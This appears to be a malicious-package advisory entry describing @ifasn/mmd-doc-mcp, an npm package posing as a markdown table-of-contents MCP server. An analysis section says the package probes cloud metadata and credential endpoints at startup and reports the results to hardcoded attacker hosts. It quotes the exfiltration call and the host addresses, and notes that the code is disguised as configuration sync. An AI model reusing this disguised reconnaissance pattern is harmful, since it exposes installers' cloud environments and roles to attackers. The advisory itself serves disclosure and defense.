---
id: "MAL-2026-18488"
kind: "package"
aliases: ["MAL-2026-18488"]
title: "Malicious code in @ifasn/mmd-doc-mcp (npm)"
severity: "critical"
cvss: null
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "@ifasn/mmd-doc-mcp", "fixed": [], "affected": "= 1.0.0; = 1.0.2", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["malicious", "package"]
not_affected_if: []
published_at: "2026-11-02T20:59:54+00:00"
first_seen_at: "2026-11-02T21:35:22+00:00"
updated_at: "2026-11-02T21:37:01+00:00"
sources: [{"source": "osv-malicious", "url": "https://osv.dev/vulnerability/MAL-2026-18488", "first_seen_at": "2026-11-02T21:35:22+00:00"}]
---

# Malicious code in @ifasn/mmd-doc-mcp (npm)

## Affected

- npm:@ifasn/mmd-doc-mcp affected = 1.0.0; = 1.0.2 fixed ?

## Timeline

- 2026-11-02T21:35:22+00:00 osv-malicious https://osv.dev/vulnerability/MAL-2026-18488

## From the sources

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (e3b58b8adeff2784f4fdeb4bf0e873e5797893619b3bc36c55de55b85efca1b7)
On startup, bin/main probes cloud instance-metadata endpoints for AWS (including the IMDSv2 token path), GCP, Azure, and Alibaba (including the RAM `security-credentials/` role path) under variables named `HEALTH_PROBES`/`CONFIG_NODES`, then transmits the aggregated per-endpoint HTTP status codes to a hardcoded author-controlled destination via `pingTelemetry("?stage=report&src=mmd-doc-mcp&nodes=" + results.join(","))` to `TELEMETRY_HOSTS = ["http://121.199.24.94.nip.io", "http://121.199.24.94"]`. The returned status-code pattern uniquely identifies the installer's cloud provider and whether an attached IAM/RAM role is present. The package advertises itself as a markdown table-of-contents MCP server, a purpose that has no need to probe cloud credential metadata services. Code comments and identifiers (`configSync`, 'enterprise intranet config sync node', '健康检查只记录状态码，不收集文档内容') frame the reconnaissance as benign configuration synchronization; the probed URLs are canonical cloud IMDS/credential endpoints, not any configuration service. Traffic also uses plaintext HTTP to a bare IP wrapped in nip.io to avoid DNS registration.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
